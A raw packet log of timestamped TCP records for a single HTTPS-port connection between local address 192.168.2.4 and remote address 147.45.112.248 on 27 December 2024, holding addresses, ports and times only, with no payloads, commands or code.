Dec 27, 2024 20:44:26.209134102 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.215858936 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.215873003 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.215945959 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.215954065 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.215996027 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.221946955 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.221962929 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.222024918 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.222039938 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.222084999 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.228967905 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.228984118 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.229063034 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.229072094 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.229120016 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.235783100 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.235799074 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.235877037 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.235883951 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.235925913 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.242571115 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.242587090 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.242660046 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.242669106 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.242712975 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.293998957 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.294014931 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.294081926 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.294099092 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.294143915 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.300914049 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.300929070 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.300986052 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.300993919 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.301038027 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.419397116 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.419423103 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.419471025 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.419481039 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.419511080 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.419526100 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.425538063 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.425554037 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.425596952 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.425604105 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.425627947 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.425647974 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.431793928 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.431817055 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.431849957 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.431858063 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.431885958 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.431899071 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.437083960 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.437100887 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.437139034 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.437146902 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.437176943 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.437196970 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.443254948 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.443273067 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.443341970 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.443351030 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.443393946 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.448966026 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.448982000 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.449038982 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.449047089 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.449090004 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.504431963 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.504451036 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.504662991 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.504672050 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.504722118 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.513006926 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.513024092 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.513086081 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.513094902 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.513139963 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.630373001 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.630393028 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.630506992 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.630516052 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.630564928 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.635610104 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.635627031 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.635685921 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.635693073 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.635734081 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.641823053 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.641839981 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.641897917 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.641906977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.641952038 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.647937059 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.647954941 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.648000956 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.648009062 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.648030996 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.648052931 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.654062033 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.654076099 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.654131889 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.654139996 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.654175997 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.659775972 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.659790993 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.659846067 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.659853935 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.659898043 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.750278950 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.750298977 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.750444889 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.750453949 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.750504971 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.756454945 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.756470919 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.756529093 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.756536961 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.756580114 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.840492010 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.840507984 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.840627909 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.840636969 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.840686083 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.846684933 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.846703053 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.846771955 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.846780062 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.846832037 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.852708101 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.852725029 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.852783918 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.852792025 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.852833986 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.858056068 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.858071089 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.858136892 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.858145952 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.858189106 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.864240885 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.864255905 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.864314079 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.864327908 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.864378929 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.869975090 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.869992018 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.870054960 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.870062113 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.870111942 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.961081982 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.961102009 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.961177111 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.961185932 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.961231947 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.967125893 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.967143059 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.967216015 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:26.967225075 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:26.967267990 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.051083088 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.051101923 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.051183939 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.051207066 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.051253080 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.056983948 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.056998968 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.057058096 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.057066917 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.057117939 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.063091040 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.063107014 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.063163042 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.063169956 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.063206911 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.068444967 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.068459988 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.068514109 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.068525076 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.068567038 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.074517012 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.074533939 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.074593067 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.074601889 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.074645042 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.080200911 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.080216885 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.080270052 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.080279112 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.080318928 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.171618938 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.171639919 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.171736002 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.171747923 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.171794891 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.177645922 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.177663088 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.177839994 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.177849054 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.177897930 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.263931036 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.263950109 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.264045000 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.264058113 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.264108896 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.267508984 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.267525911 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.267595053 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.267604113 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.267652035 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.273139000 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.273155928 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.273222923 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.273237944 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.273281097 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.282394886 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.282414913 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.282490015 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.282500029 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.282546997 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.285332918 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.285350084 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.285413980 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.285423040 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.285466909 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.291472912 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.291491985 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.291570902 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.291579008 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.291626930 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.385179996 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.385196924 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.385278940 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.385288000 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.385332108 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.390403032 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.390422106 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.390516996 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.390526056 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.390573978 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.472629070 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.472646952 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.472791910 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.472800970 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.472852945 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.478174925 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.478207111 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.478249073 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.478257895 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.478281021 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.478307962 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.483941078 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.483957052 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.484021902 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.484030962 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.484080076 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.489013910 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.489029884 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.489084005 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.489093065 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.489135027 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.494853973 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.494868994 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.494936943 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.494945049 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.494987011 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.500243902 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.500258923 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.500344992 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.500351906 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.500406981 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.593183041 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.593202114 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.593269110 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.593278885 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.593327045 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.593327045 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.598860025 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.598875046 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.598937035 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.598942995 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.598999977 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.683597088 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.683613062 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.683707952 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.683716059 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.683767080 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.688668013 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.688683987 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.688747883 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.688759089 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.688802004 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.694480896 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.694498062 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.694554090 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.694561005 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.694605112 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.700202942 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.700218916 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.700258970 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.700264931 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.700292110 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.700320005 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.706109047 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.706125021 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.706193924 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.706201077 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.706247091 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.711464882 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.711481094 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.711535931 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.711543083 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.711589098 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.804114103 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.804132938 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.804217100 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.804224014 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.804266930 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.818448067 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.818464041 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.818521976 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.818530083 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.818571091 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.894124031 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.894149065 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.894264936 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.894273043 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.894320965 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.899941921 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.899957895 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.900043011 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.900051117 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.900094986 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.905137062 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.905153036 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.905203104 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.905210972 CET	443	49748	147.45.112.248	192.168.2.4
Dec 27, 2024 20:44:27.905246973 CET	49748	443	192.168.2.4	147.45.112.248
Dec 27, 2024 20:44:27.905267954 CET	49748	443	192.168.2.4	147.45.112.248
